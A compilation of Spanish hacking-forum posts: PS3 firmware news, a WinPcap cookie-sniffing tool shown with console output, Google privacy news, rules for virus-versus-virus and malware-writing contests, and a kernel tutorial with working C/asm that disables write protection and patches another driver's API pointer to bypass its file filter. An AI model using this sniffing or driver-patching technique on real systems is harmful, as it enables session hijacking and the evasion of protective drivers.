Temas

En la última actualización del firmware de la PS3, la 3.56, Sony ha incluído un rootkit que permite la ejecución de código al conectarse a PSN.Al parecer, el examen de la OFW ha encontrado una nueva función que permitirá a Sony descargar y ejecutar código cuando se conecta a PSN. El código que puede ejecutar es, obviamente, para comprobar si hay CFW o lo que sea, pero el código podría cambiar para comprobar si hay algo de verdad.

Esencialmente Sony ahora puede ejecutar código de forma remota en la PS3 tan pronto como se conecte. Esto puede hacer que Sony verifique los archivos del sistema o la búsqueda de homebrew. Sony puede cambiar el código y añadir nuevos métodos de detección sin ningún tipo de actualizaciones de firmware y como se ejecuta el código de forma remota no hay manera confiable para elaborar respuesta.

Si bien es posible revisión o quitar el código del firmware es probable que esto significa el fin de jugar en línea CFW (como PSN sólo puede comprobar antes de que esta entrada está activa), o por lo menos significa que será aún más fácil para Sony detectar y baneo de usuarios.


Para ampliar la información en este link (inglés)
http://psx-scene.com/forums/f118/caution-ps3-ofw-3-56-new-feature-rootkit-79149/

Traducción de google
http://translate.google.es/translate?js=n&prev=_t&hl=es&ie=UTF-8&layout=2&eotf=1&sl=en&tl=es&u=http://psx-scene.com/forums/f118/caution-ps3-ofw-3-56-new-feature-rootkit-79149/

Fuente: http://www.elotrolado.net/hilo_sony-incluye-rootkit-en-el-firmware-3-56-de-la-ps3_1565480

[NOTICIA REPETIDA]

Poco le ha durado a Sony su seguridad interna tras la conferencia fail0verflow llamada PS3 Epic Fail hace unos días.

NOTICIA REPETIDA

LEER : https://foro.elhacker.net/noticias/un_grupo_de_hackersacute_descifra_la_seguridad_de_la_ps3_y_permite_utilizar_linux-t315334.0.html

[Nota:]

Hace ya unas semanas que salió en varios blog's de seguridad esta curiosa extensión para Firefox que te permitía capturar las cookies que eran enviadas a través de una red wifi no cifrada demostrando una vez más, la inseguridad que provoca el no implementar HTTPS en sitios web que requieran autentificado (y el peligro de conectarse a una red abierta).


Si se sabe algo sobre seguridad wifi no es difícil imaginarse como trabaja esta extensión. A partir de WinPcap/Libpcap pone la interfaz wifi en modo promiscuo (esta conectado con el AP y a la vez captura todo el trafico que circule por la red) y empieza a filtrar los paquetes y cuando tiene una cookie la enseña por pantalla.

Hace ya tiempo que quería trastear un poco con WinPcap y al leer la existencia de esta extensión me decidí. El resultado es una aplicación modo consola que captura la cookies que sean enviadas a través de nuestra red. Mi herramienta no es tan "directa" como lo es FireSheep (con un click ya se te abre una pestaña con las cookies capturadas) pero con la extensión Add N Edit Cookies de Firefox se puede conseguir el mismo resultado.

Aquí les enseño unas cuantas impresiones del resultado de la consola:

C:\CookieDump>CookieDump.exe
CookieDumper v1.0 by Hendrix
        hendrix@elhacker.net

Usage: CookieDump.exe [options]

Options:
        -l: List all devices
        -d number: Select a device. Example: -d 2
        -f "filter": Filter sites. Example: -f "www.google.com;www.msn.es;"
        -w file: Write output to file
        -n: Don't dump packets of your computer
C:\CookieDump>CookieDump.exe -l

• Listing devices...
  
  1. \Device\NPF_{1F217971-70F9-4315-8B2C-F5C5728EF91F} (VMware Virtual Ethernet Adapter)
  2. \Device\NPF_{E4ABC72B-166E-4CD4-B9A4-E588012828C3} (Marvell Gigabit Ethernet Controller (Microsoft's Packet Scheduler) )
  3. \Device\NPF_{34BA4DCA-4941-4C43-A33E-0CA83A295942} (VMware Virtual Ethernet Adapter)
  4. \Device\NPF_{E442FFE1-9450-4E52-979B-F4B51F3B121C} (Intel(R) Wireless WiFi Link 4965AGN (Microsoft's Packet Scheduler) )
  
  C:\CookieDump>CookieDump.exe -d 4
  
  [Ok] Device numer 4 attatched
          Local Addr: 192.168.0.21
  
  If you wanna terminate the program, press Ctrl+C
  
  [Local]
• Packet intercepted to host: www.google.es
  Cooie found!!  HSID=*****
  
  
  [Local]
• Packet intercepted to host: www.google.es
  Cooie found!!  HSID=****
  
  
  [Local]
• Packet intercepted to host: www.google.es
  Cooie found!!  HSID=****
  [/tt]

(Evidentemente las cookies las e censurado  )

Como ven, su uso es bastante sencillo, con -l listamos las interfaces y con -d y el numero de interfaz la seleccionamos.

La opción -f es de filtrado, sirve para no mostrar las peticiones a url especificada. Se pueden incluir todas las que queramos, siempre terminadas con ; tal y como aparece en el ejemplo.

la opción -w es para guardar los resultados en un archivo de texto se guarda exactamente lo mismo que se muestra en la consola.

y finalmente la opción -n sirve para filtrar los paquetes locales, es decir, no capturamos lo que enviamos nosotros (así únicamente se nos imprimirán los paquetes que no genere nuestro PC).

En la descarga se incluye el ejecutable y el código, así como librerías necesarias para compilar 

Descarga

Nota: Tras varios testeos el resultado obtenido es el mismo que el que obtuve con FireSheep, es decir, la captura de mis cookies. Probablemente es debido a mi tarjeta de red, agradecería a quien pudiera probar el FireSheep y luego mi aplicación, para ver si de verdad funciona. En teoría el código es el correcto.

PD: Si tengo tiempo, sacaré una herramienta de seguridad contra dicha aplicación 

Un Saludo 

[Fuente:]

El responsable del equipo de búsquedas mundial de Google, Amit Singhal, ha señalado que "la privacidad no debe frenar la tecnología", pues mejora de forma muy importante la vida de las personas, y añadió que la única forma de trabajar a favor de la privacidad es la transparencia.

Singhal estaba en Europa para reunirse con periodistas y bloggers y explicar la evolución del mundo de los buscadores de internet.


Explicó que Google se esfuerza para conseguir la máxima transparencia y conseguir la autorización explícita del usuario para usar sus datos en las búsquedas. Además, dijo, el internauta puede borrar sus datos e incluso puede realizar búsquedas en el ámbito privado de forma que estas no se registren.

Amit Singhal dijo que la tecnología, igual que la medicina, puede utilizarse de forma perversa, y lo que hay que hacer es trabajar para conseguir que los buscadores sigan evolucionando para ayudar a las personas respetando la privacidad.

A la pregunta de qué va a suceder con los procesos abiertos por la recogida de datos personales en su servicio de calles SreetView, dijo que están colaborando para subsanar los errores y tienen la intención de eliminar estos datos que fueron captados sin intención y, además, no tienen ningún interés en utilizarlos.

Para Amit Singhal, la libertad que tienen los ingenieros de Google para utilizar el 20% de su tiempo en el desarrollo que deseen ha permitido que este buscador consiga, por ejemplo, ser utilizado como una compleja calculadora.

Destacó como uno de los principales retos en estos años hacer que el sistema entendiera el significado de las palabras para realizar las búsquedas y dijo que ya se ha conseguido.

El futuro en el que trabaja Google es la "posibilidad de buscar sin buscar", de forma que un teléfono móvil informe al usuario de las situaciones que le interesan.

Por ejemplo si en la agenda de su móvil tiene previsto un determinado acto, Google informará automáticamente de la situación de tráfico, si hay algún problema eléctrico que puede dificultar el encuentro y otro tipo de informaciones importantes que permitirán un ahorro de tiempo y dinero, dijo.

Este tipo de búsquedas, añadió, pueden estar disponibles en cinco años.


Fuente: http://www.20minutos.es/noticia/766545/0/privacidad/freno/tecnologia/

Relacionado : https://foro.elhacker.net/noticias/amit_shingalgoogle_podria_reconocer_caras_pero_nos_comprometemos_a_no_hacerlo-t299713.0.html

[¿Que es un CoreWar?]

Dado que Abril Negro a fracasado estrepitosamente, propongo un nuevo concurso, del tipo CoreWar.



¿Que es un CoreWar?

Si nos atenemos a la definición de la Wikipedia, el CoreWar era una especie de juego informático en el que varios programas se disputaban el espacio de memoria o de disco de un computador. Logrando la victoria el programa que consiguiera abarcar más espacio, desbancando así a sus contrincantes.

Les dejo una definición que incluye algo de historia:

En 1939, el famoso científico matemático John Louis Von Neumann, de origen húngaro, escribió un artículo, publicado en una revista científica de New York, exponiendo su "Teoría y organización de autómatas complejos", donde presentaba la posibilidad de desarrollar  pequeños programas que pudiesen tomar el control de otros, de similar estructura.

En 1949, en los laboratorios de la Bell Computer, subsidiaria de la AT&T, 3 jóvenes programadores: Robert Thomas Morris, Douglas McIlroy y Victor Vysottsky, a manera de entretenimiento crearon un juego al que denominaron CoreWar, inspirados en la teoría de John Von Neumann.

El juego CoreWar fue desarrollado en Assembler Pnemónico, conocido como Red Code (código rojo) y hoy día es posible ejecutar dicho antiguo juego, por medio de un programa llamado MARS (Memory Array Redcode Simulator).

Puesto en la práctica, los contendores del CoreWar ejecutaban programas que iban paulatinamente disminuyendo la memoria del computador y el ganador era el que finalmente conseguía eliminarla totalmente. Este juego fue motivo de concursos en importantes centros de investigación como el de la Xerox en California y el Massachussets Technology Institute (MIT), entre otros.

Sin embargo durante muchos años el CoreWar fue mantenido en el anonimato, debido a que por aquellos años la computación era manejada por una pequeña élite de intelectuales.

Robert Thomas Morris, Douglas McIlroy y Victor Vysottsky, fueron los autores del precursor de los virus informáticos.

Fuente: http://www.persystems.net/sosvirus/hackers/corewar.htm


CoreWar by elhacker.net

Ya que actualmente disponemos de maquinas mucho más potentes que las que vieron nacer CoreWar, propongo cambiar drásticamente las reglas del juego, adaptándolas a los virus y tecnologías actuales. Paso a explicar las reglas en los siguientes puntos:

• Objetivos del Concurso:
  
  El objetivo principal del concurso es la de hacer un "mini-torneo" en el que los participantes, tendrán que diseñar códigos los cuales tendrán como único objetivo la eliminación total de su contrincante.
  
  
  
• Posibilidades de infección:
  
  Como los virus actuales, los programadores podrán programar subrutinas de infección de discos (archivos, sistema de ficheros, etc.) y memoria (inyección de código en procesos externos, escritura/lectura de procesos del contrincante, etc.). Se permitirá tanto la programación en modo usuario y en modo Kernel.
  
  
  
• Condiciones de victoria:
  
  Para que un programador obtenga la victoria tendrá que conseguir terminar completamente el proceso en modo usuario de su contrincante. Además de eso, tendrá que eliminar y/o desinfectar totalmente el sistema comprometido por el virus de su contrincante (descargar completamente el código del virus del contrincante de la memoria, desinfectar ficheros, etc.).
  
  El enfrentamiento será dividido en 2 rondas, para que cada virus pueda iniciarse primero que el otro (factor importante a la hora de atacar o defenderse).
  
  Obligatoriamente, el primer virus que se ejecute tiene que dejar ejecutar el otro.
  
  Si un enfrentamiento termina sin que los 2 virus consigan terminar el otro en ambas rondas o de lo contrario los 2 virus perezcan en cada ronda, se dará el enfrentamiento como nulo, tuviendose que reprogramar los virus y volverse a enfrentar.
  
  
  
• Escenario de Batalla:
  
  El sistema operativo que se usará será una instalación limpia (sin ningún programa instalado, exceptuando programas como Filemon, ProcessExplorer y demás que servirán para seguir el enfrentamiento) de un Windows XP SP3 con las últimas actualizaciones.
  
  
  
• Analizando el código:
  
  
  El virus constará básicamente de dos partes fundamentales, el modulo de defensa y el modulo de ataque. El modulo de defensa es el que se tiene que desarrollar primero y, 3 días antes del enfrentamiento, se entregará el ejecutable del virus con la parte de la defensa terminada al contrincante y viceversa. Los programadores podrán analizar el ejecutable en sus máquinas virtuales. Una vez analizado el virus, tendrán que programar el modulo de ataque, que será el que intentará desinfectar completamente el virus del contrincante. Se puede programar una defensa para cada enfrentamiento, una vez entregada al contrincante no se podrá modificar dicho módulo. Si alguno sospecha de que su contrincante ha modificado el modulo de defensa, se podrá requerir el código y se compilará, para ver que coincida con el ejecutable que se entregó la primera vez.
  
  Los programadores tienen que publicar en este post el nombre en disco de su virus (en proceso puede ser diferente, incluso aleatorio), el nombre del virus y para más información, el lenguaje en que fue creado. Ejemplo:
  
  Nombre en disco: Cryptovirus.exe
  Nombre del Virus: CryptoHendrix.A
  Lenguaje de programación usado: C + ASM.
  
  
  Al finalizar el concurso, y para que todo el mundo pueda aprender, se publicaran todos los códigos usados por cada programador en sus virus. Los recopilaré dentro de un único archivo comprimido.
  
  
  
• Limitaciones:
  
  Los virus no podrán en ningún caso desestabilizar el sistema. Si se produce BSOD o reinicio/apagado forzoso del sistema o relentización excesiva de este, se dará el enfrentamiento como perdido para el virus que lo ocasione. El enfrentamiento tendrá lugar en una maquina virtual, se pueden infectar los archivos que les de la gana siempre y cuando no se desestabilice el sistema.
  
  Los virus no se podrán conectar a Internet, ya que no tiene mucha utilizad dentro de lo que es el concurso.
  
  Los virus que usen drivers no podrán proteger en ningún caso los archivos del virus desde el driver, ya que imposibilitaría la eliminación correcta del virus en el sistema. Asimismo, se considerará como sistema limpio aquel en el que se elimine el ejecutable del virus y sus copias. El driver puede quedar en el sistema.
  
  
  
  
  Creo que no me dejo nada, si se hace algún cambio en las reglas se avisará. El inicio del torneo podría ser a mediados de Mayo, por ejemplo el Viernes 14 de Mayo. Del 1 de Mayo al 14 de Mayo se organizará el organigrama del torneo. El torneo será por eliminatorias (tipo Octavos de final, cuartos de final, semifinal y final). Los emparejamientos serán totalmente al azar. Si el numero de participantes es impar, uno de ellos automáticamente avanzará de ronda.
  
  Para apuntarse, déjenlo comentado en este post. En este primer post colocaré la lista de participantes y la iré actualizando según se anoten los concursantes. Cualquier duda, mejora o inclusión de alguna regla o lo que sea, comentenlo.
  
  PD: Me voy a anotar en este concurso, hace ya tiempo que no programo nada referente a malware y ya es hora   aunque estaré condicionado del tiempo que tenga libre, ya que con la uni no tengo mucho  
  
  
  Lista de participantes:
  
  
  
  
  • Hendrix
  • Hacker_Zero
  • Lord R.N.A.
  • Karcrack

[Abril Negro 2010 da comienzo.]

Abril Negro 2010 da comienzo.

    Como cada año, en este mes se monta un "mini-concurso" para ver quien es el que mejor se maneja en cuanto a programación de malware. Creo que no hacen falta presentaciones, ya que más o menos todos sabéis de que se trata, aqui van las bases y premios del concurso.

• Bases del concurso:
  
  Como cada año, se tienen que presentar las herramientas diseñadas por los participantes. Se puede tratar cualquier tema relacionado con el malware a excepción de DoS/DDoS.
  
  Los proyectos tienen que ser obligatoriamente open source, para que se puedan evaluar mejor las herramientas. Se tiene que presentar el proyecto comprimido con 2 carpetas en su interior, una para el exe (bin) y otra para el código (src), para que este bien presentado y ordenado.
  
  Los vencedores se decidirán por votación popular, es decir, los que se descarguen el proyecto y lo evalúen, votarán su proyecto favorito. Al final de la votación, el que tenga más puntos será el ganador. El 30 de Abril se publicará la lista final con todos los proyectos publicados en este Abril Negro. En esta lista los usuarios votarán su proyecto favorito. Esta lista quedará abierta 2 semanas (hasta el viernes 14 de Mayo).
  
  En caso de empate, miembros del Staff evaluaran los proyectos empatados y se decidirá el ganador según estos aspectos:
  
  
  
  
  • Innovación de la herramienta/código
  • Mejor código
  
  Para publicar los proyectos, se tiene que incluir la etiqueta [Abril Negro] delante del título de cada post.
  
  
• Premios
  
  Los premios de este año, al igual que el anterior, constará de una cuenta @elhacker.net y la publicación en el tablón oficial de la aplicación, pero ya que este año contamos con el blog. Se publicará una entrada en dicho blog en la cual se presentará la aplicación ganadora de Abril Negro.
  
  Al final de dicho concurso, todas los proyectos presentados serán publicados en la lista de recopilatorio de aplicaciones de Abril Negro 2010.
  
  Anímense a participar en este concurso  . Mucha suerte a todos los participantes, y que empiece la función!
  
  

[Parcheo de memoria en Drivers Externos]

Hacia ya mucho tiempo que no publicaba nada por este foro, es hora de quitarse la oxidación que provoca esto, así que me e decidido a publicar este post.

Antes de nada, quiero decir que este post esta orientado a personas que sepan programar drivers, si eres de los que todavía no saben que es un driver, o no saben programarlo, por favor, lean este post.

Las respuestas a este mensaje de tipo técnico (problemas con la DDK, con las herramientas usadas, etc.) por favor, háganlos en otros posts y en los subforos correspondientes.

Cabe decir que este artículo es similar a uno que publiqué hace tiempo, lo tenia en PDF solamente y el host donde estaba alojado actualmente esta caído. Al no tener ninguna copia (y al tener un rato libre  ) e decidido reescribirlo (y reprogramarlo) de nuevo.

Una vez explicado esto, comencemos 

Parcheo de memoria en Drivers Externos

¿Que se pretende conseguir?

Lo que pretendo conseguir es la modificación de memoria en drivers externos, es decir, conseguir modificar el comportamiento de un driver externo sin que este se entere de que está siendo modificado.

Herramientas a usar:

Yo e usado las siguientes:

• DDk (obviamente)
• WinDbg
• OSR Drive Loader
• DebugView
• VMWare

Por si a alguien le interesa, que sepa que puede desensamblar el driver con un programa llamado Syser, el cual permite debuggear drivers 

Driver Objetivo:

El driver que vamos a "destripar" es un driver que programé yo mismo, el cual nos bloquea  la eliminación del fichero C:\prueba.txt. El código del mismo será publicado al final.

Manos a la obra:


Bien, ya que es un entorno emulado, controlamos la ejecución del driver y conocemos la API que va a hookear, podemos sacar la dirección real de dicha API con el WinDbg. Para ello lo abrimos, Kernel Debug --> Local.

Una vez echo esto, escribimos u nt!NtOpenFile y nos da lo siguiente:

lkd> u nt!NtOpenFile
nt!NtOpenFile:
8056f41a 8bff             mov     edi,edi
8056f41c 55               push    ebp
8056f41d 8bec             mov     ebp,esp
8056f41f 33c0             xor     eax,eax
8056f421 50               push    eax
8056f422 50               push    eax
8056f423 50               push    eax
8056f424 50               push    eax

La dirección que está en negrita es la dirección en la SSDT de dicha API

Nota: Aunque nosotros hookeemos la API ZwOpenFile, en el WinDbg tenemos que escribir NtOpenFile, para obtener la dirección real.

Bien, nos anotamos en el notepad dicha dirección. (En el programa "parcheador", e harcodeado las direcciones para una mayor comodidad y para no complicar la cosa, aunque todas se pueden obtener automáticamente programando dichos módulos (por ejemplo, para sacar la dirección real de la API, etc.)).

Una vez tenemos esto, ya podemos cargar nuestro driver, y como vemos, hookea perfectamente y nos impide la eliminación del archivo antes mencionado:

Bien, ahora lo que tenemos que hacer es empezar a desensamblar la función que nos bloquea el acceso al fichero. Si buscamos su dirección en el IceSword la encontraremos rápidamente, aunque no hace falta, ya que lo e incluido yo mismo en el output del driver (lo veos con DebugView), para mayor comodidad.

La dirección de la función es:

Dirección después del Hook: 0xf7bcc4ce

Esto es en mi maquina virtual, en la suya puede ser diferente 

Una vez tenemos la dirección, vamos a desensamblarla con el WinDbg, para ello escribimos: u 0xf7bcc4ce l40 nos da esto:

lkd> u 0xf7bcc4ce l40
f7bcc4ce 6a10             push    0x10
f7bcc4d0 6860c8bcf7       push    0xf7bcc860
f7bcc4d5 e88e020000       call    f7bcc768
f7bcc4da ff751c           push    dword ptr [ebp+0x1c]
f7bcc4dd ff7518           push    dword ptr [ebp+0x18]
f7bcc4e0 ff7514           push    dword ptr [ebp+0x14]
f7bcc4e3 8b7510           mov     esi,[ebp+0x10]
f7bcc4e6 56               push    esi
f7bcc4e7 ff750c           push    dword ptr [ebp+0xc]
f7bcc4ea 8b7d08           mov     edi,[ebp+0x8]
f7bcc4ed 57               push    edi
f7bcc4ee ff15a0c9bcf7     call    dword ptr [f7bcc9a0]
f7bcc4f4 85c0             test    eax,eax
f7bcc4f6 0f8583000000     jne     f7bcc57f
f7bcc4fc 2145fc           and     [ebp-0x4],eax
f7bcc4ff 6a01             push    0x1
f7bcc501 ff7608           push    dword ptr [esi+0x8]
f7bcc504 8d45e0           lea     eax,[ebp-0x20]
f7bcc507 50               push    eax
f7bcc508 ff1508c8bcf7     call    dword ptr [f7bcc808]
f7bcc50e 8b45e4           mov     eax,[ebp-0x1c]
f7bcc511 be80c9bcf7       mov     esi,0xf7bcc980
f7bcc516 8a16             mov     dl,[esi]
f7bcc518 8aca             mov     cl,dl
f7bcc51a 3a10             cmp     dl,[eax]
f7bcc51c 751a             jnz     f7bcc538
f7bcc51e 84c9             test    cl,cl
f7bcc520 7412             jz      f7bcc534
f7bcc522 8a5601           mov     dl,[esi+0x1]
f7bcc525 8aca             mov     cl,dl
f7bcc527 3a5001           cmp     dl,[eax+0x1]
f7bcc52a 750c             jnz     f7bcc538
f7bcc52c 46               inc     esi
f7bcc52d 46               inc     esi
f7bcc52e 40               inc     eax
f7bcc52f 40               inc     eax
f7bcc530 84c9             test    cl,cl
f7bcc532 75e2             jnz     f7bcc516
f7bcc534 33c0             xor     eax,eax
f7bcc536 eb05             jmp     f7bcc53d
f7bcc538 1bc0             sbb     eax,eax
f7bcc53a 83d8ff           sbb     eax,0xffffffff
f7bcc53d 85c0             test    eax,eax
f7bcc53f 7538             jnz     f7bcc579
f7bcc541 f6450e01         test    byte ptr [ebp+0xe],0x1
f7bcc545 7432             jz      f7bcc579
f7bcc547 6880c4bcf7       push    0xf7bcc480
f7bcc54c e809020000       call    f7bcc75a
f7bcc551 59               pop     ecx
f7bcc552 57               push    edi
f7bcc553 ff1500c8bcf7     call    dword ptr [f7bcc800]
f7bcc559 832700           and     dword ptr [edi],0x0
f7bcc55c 834dfcff         or      dword ptr [ebp-0x4],0xffffffff
f7bcc560 b8080000c0       mov     eax,0xc0000008
f7bcc565 eb18             jmp     f7bcc57f
f7bcc567 33c0             xor     eax,eax
f7bcc569 40               inc     eax
f7bcc56a c3               ret
f7bcc56b 8b65e8           mov     esp,[ebp-0x18]
f7bcc56e 68a4c4bcf7       push    0xf7bcc4a4
f7bcc573 e8e2010000       call    f7bcc75a
f7bcc578 59               pop     ecx
f7bcc579 834dfcff         or      dword ptr [ebp-0x4],0xffffffff
f7bcc57d 33c0             xor     eax,eax

Como vemos nos muestra un montón de información, aunque, rápidamente, vemos lo que nos interesa, concretamente esto:

f7bcc4da ff751c           push    dword ptr [ebp+0x1c]
f7bcc4dd ff7518           push    dword ptr [ebp+0x18]
f7bcc4e0 ff7514           push    dword ptr [ebp+0x14]
f7bcc4e3 8b7510           mov     esi,[ebp+0x10]
f7bcc4e6 56               push    esi
f7bcc4e7 ff750c           push    dword ptr [ebp+0xc]
f7bcc4ea 8b7d08           mov     edi,[ebp+0x8]
f7bcc4ed 57               push    edi
f7bcc4ee ff15a0c9bcf7     call    dword ptr [f7bcc9a0]

Como vemos, hay unos cuantos push, y luego un call a la dirección almacenada en 0xf7c5caa0. Humm, esto suena a variable!!, vamos a ver que hay dentro, para ello: dd 0xf7bcc9a0:

dd f7bcc9a0
f7bcc9a0  8056f41a f7abbb9c 00000000 00000000
f7bcc9b0  00000000 00000000 00000000 00000000
f7bcc9c0  00000000 00000000 00000000 00000000
f7bcc9d0  00000000 00000000 00000000 00000000
f7bcc9e0  00000000 00000000 00000000 00000000
f7bcc9f0  00000000 00000000 00000000 00000000
f7bcca00  00000000 55ff8b00 98a1ec8b 85f7bcc9
f7bcca10  bb40b9c0 04740000 2375c13b c82c158b

Bingo!! les suena de algo la dirección subrayada? Exacto, es la dirección real de la api ZwOpenFile (Si no están seguros, escriban u 0x8056f41a y automáticamente el WinDbg les va a resolver el nombre  )

Bien, ya sabemos que en la dirección 0xf7c5caa0 se encuentra almacenada la dirección real a la API. Por lo que podemos interpretar el siguiente código en ensamblador:

Código (asm) [Seleccionar] Expandir

Push ArgumentoX
Push ArgumentoX-1
...
...
...
Push Argumento2
Push Argumento1
Push Argumento0
Call Api

Que, efectivamente, es la llamada a la API, bien, lo que tenemos que hacer, es que en lugar de saltar a la API real, nos salte a una función nuestra, la cual estará formada por los argumentos correspondientes a ZwOpenFile, así que no quedará la siguiente función:

Código [Seleccionar] Expandir

NTSTATUS ZwOpenFileRep(OUT PHANDLE FileHandle,IN ACCESS_MASK DesiredAccess,IN POBJECT_ATTRIBUTES ObjectAttributes,OUT PIO_STATUS_BLOCK IoStatusBlock,IN ULONG  ShareAccess,IN ULONG OpenOptions)


Bien, pensemos la jugada, lo que vamos a hacer es escribir la dirección de nuestra función dentro de la variable del otro driver, el cual se cree que dicha variable contiene la variable real y, sin verificar nada, salta directamente hacia la función, en la cual nosotros tomaremos el control y lo que vamos a hacer será, llamar a la API real, le pasaremos los parámetros adecuados y ejecutará la acción pertinente, una vez ejecutado, lo que vamos a hacer será limpiar los datos de un argumento (el que contiene la ruta del archivo a eliminar), lo que lograremos así será saltarnos el filtro del driver, ya que como no tiene ningún dato, no puede aplicar su filtro.

Bien, si leíste el post que publiqué sobre la introducción a la programación de drivers, te acordarás que no podemos modificar la memoria "al tun tun", ya que esta protegida y lo único que conseguiríamos seria un bonito BSOD. Para ello, me e servido del siguiente código:

Antes de modificar la memoria:

Código (asm) [Seleccionar] Expandir

__asm
{
cli
push eax
mov eax, cr0
and eax, 0xFFFEFFFF
mov cr0, eax
pop eax
}

Después de modificar la memoria:

Código (asm) [Seleccionar] Expandir

__asm
{
push eax
mov eax, cr0
or eax, not 0xFFFEFFFF
mov cr0, eax
pop eax
sti
}

Bien, antes de seguir trabajando definiremos las variables que usaremos, yo e usado las siguiente:

Código (c) [Seleccionar] Expandir

DWORD det;
DWORD dir;
DWORD MyDir;

det = (DWORD) 0xf7c80aa0;
dir = (DWORD) 0x8056f41a;
MyDir = (DWORD) ZwOpenFileRep;

En la variable det está la dirección de la variable del driver en la cual está guardada la variable (Se puede obtener esta dirección con un código en ensamblador en el que, con un bucle, recorramos la memoria del driver en busca de datos que empiecen por 8056 (los primeros dígitos de la dirección real de la API), yo no me e querido complicar tanto y lo e harcodeado).
En dir esta la dirección real de la API y en MyDir la dirección de mi función, donde recibiré la llamada del driver "victima".

El código que e usado para sobrescribir la memoria del driver no es muy "elegante", pero bueno, aquí esta:

Código (c) [Seleccionar] Expandir

__try
    {
//Parcheamos la variable del programa victima con la dirección de nuestra función
*(DWORD*)det = MyDir;

   }

    __except(EXCEPTION_EXECUTE_HANDLER)
   {
DbgPrint("Error en el procesamiento del Driver");
   }

Escribo el Try & Catch porque sirve de mucho para evitar alguna que otra BSOD, así que recomiendo su uso.

Dicho esto, el DriverEntry de nuestro driver nos quedaría así:

Código (c) [Seleccionar] Expandir

NTSTATUS DriverEntry(IN PDRIVER_OBJECT DriverObject, IN PUNICODE_STRING theRegistryPath)
{
    NTSTATUS s = STATUS_SUCCESS;

det = (DWORD) 0xf7c80aa0;
dir = (DWORD) 0x8056f41a;
MyDir = (DWORD) ZwOpenFileRep;

DriverObject->DriverUnload=OnUnload;

DbgPrint("Modificado de memoria. Por Hendrix");


   ZwOpenFileIni =(typeZwOpenFile)dir;
   
   __asm
{
cli
push eax
mov eax, cr0
and eax, 0xFFFEFFFF
mov cr0, eax
pop eax
}

   __try
    {
//Parcheamos la variable del programa victima con la dirección de nuestra función
*(DWORD*)det = MyDir;

   }

    __except(EXCEPTION_EXECUTE_HANDLER)
   {
DbgPrint("Error en el procesamiento del Driver");
   }

   __asm
{
push eax
mov eax, cr0
or eax, not 0xFFFEFFFF
mov cr0, eax
pop eax
sti
}

   DbgPrint("Hook inyectado!!");
   return s;
}

En el evento UnLoad del driver tenemos que acordarnos a restaurar la variable del driver "victima", ya que de lo contrario, va a llamar a una dirección de memoria invalida y provocará BSOD  Así que dejamos el evento UnLoad de la siguiente manera:

Código (c) [Seleccionar] Expandir

VOID OnUnload(IN PDRIVER_OBJECT DriverObject)
{
   DbgPrint("Descargando driver...");
 
   __asm
{
cli
push eax
mov eax, cr0
and eax, 0xFFFEFFFF
mov cr0, eax
pop eax
}

   __try
    {
//Reparamos la variable del driver victima con la dirección real de la API.
*(DWORD*)det = (DWORD)ZwOpenFileIni;
   }

    __except(EXCEPTION_EXECUTE_HANDLER)
   {
DbgPrint("Error en el procesamiento del Driver");
   }

   __asm
{
push eax
mov eax, cr0
or eax, not 0xFFFEFFFF
mov cr0, eax
pop eax
sti
}
}

Como vemos, es exactamente el mismo código que el del DriverEntry, pero esta vez escribimos la dirección real en lugar de la dirección de nuestra función.

Vamos al siguiente paso, la función que recibirá la llamada.

Esta función es la misma que utilizaríamos si quisiéramos hookear a ZwOpenFile (de echo, yo e reciclado la función del driver "victima" y la e pegado tal cual en el "envenenador").

Pego la función aquí y explicare el único punto importante que hay:

Código (c) [Seleccionar] Expandir

NTSTATUS ZwOpenFileRep(OUT PHANDLE FileHandle,IN ACCESS_MASK DesiredAccess,IN POBJECT_ATTRIBUTES ObjectAttributes,OUT PIO_STATUS_BLOCK IoStatusBlock,IN ULONG  ShareAccess,IN ULONG OpenOptions)
{

   NTSTATUS ntStatus;
   OBJECT_ATTRIBUTES oa;


   ntStatus = ((typeZwOpenFile)(ZwOpenFileIni)) (FileHandle, DesiredAccess, ObjectAttributes, IoStatusBlock,  ShareAccess, OpenOptions);
   if (ntStatus!=STATUS_SUCCESS) return ntStatus;

__try
    {
//Limpiamos toda la información de la estructura para que no nos pillen el nombre del fichero
RtlZeroMemory(ObjectAttributes,sizeof(ObjectAttributes));
InitializeObjectAttributes(ObjectAttributes,NULL,0,NULL,NULL);

   }

    __except(EXCEPTION_EXECUTE_HANDLER)
   {
DbgPrint("Error en el procesamiento del Driver");
   }
   
   return ntStatus;
}

Como ven en los comentarios, el punto importante es el uso de la función InitializeObjectAttributes para resetear la estructura ObjectAttributes, ya que en esta estructura, entre otras cosas, se almacena la ruta del archivo con el que se va a tratar. Si lo reseteamos, el driver "victima" nunca podrá saber el nombre del archivo, y como no esta en su filtro, dejará ejecutar la acción.

Una vez tenemos esto, podemos probar nuestro código. Ejecutamos primero el driver victima y miramos lo que contiene su variable en la que tiene que haber la dirección real de la API ZwOpenFile, esto es lo que nos muestra:

lkd> dd f7bcc9a0
f7bcc9a0  8056f41a f7abbb9c 00000000 00000000
f7bcc9b0  00000000 00000000 00000000 00000000
f7bcc9c0  00000000 00000000 00000000 00000000
f7bcc9d0  00000000 00000000 00000000 00000000
f7bcc9e0  00000000 00000000 00000000 00000000
f7bcc9f0  00000000 00000000 00000000 00000000
f7bcca00  00000000 55ff8b00 98a1ec8b 85f7bcc9
f7bcca10  bb40b9c0 04740000 2375c13b c82c158b

Como ven, esta la dirección correcta de la API, vamos a ejecutar nuestro "envenenador", a ver que pasa:

lkd> dd f7bcc9a0
f7bcc9a0  f7c944aa f7abbb9c 00000000 00000000
f7bcc9b0  00000000 00000000 00000000 00000000
f7bcc9c0  00000000 00000000 00000000 00000000
f7bcc9d0  00000000 00000000 00000000 00000000
f7bcc9e0  00000000 00000000 00000000 00000000
f7bcc9f0  00000000 00000000 00000000 00000000
f7bcca00  00000000 55ff8b00 98a1ec8b 85f7bcc9
f7bcca10  bb40b9c0 04740000 2375c13b c82c158b

Juas Juas, se lo a tragado (y si han podido ver esto, es porque no les ha dado BSOD  ) Si todo a funcionado bien, nuestra función debe de recibir ya la llamada del driver victima (lo hace, para ello pueden poner un simple DbgPrint("Me llaman"); en la función del driver de "envenenamiento").

Si echamos un ojo en el DbgView, vamos a ver que sale un montón de mensajes de "Error en el procesamiento del driver", esto sale desde el driver victima, ya que al no verificar que el ObjectAttributes esta vació, provoca error (esto lo e echo a propósito para que aprendas que, aparte de validar las variables que llamamos, siempre se tienen que validar este tipo de cosas, un error en modo Kernel puede ser muy grave  ).

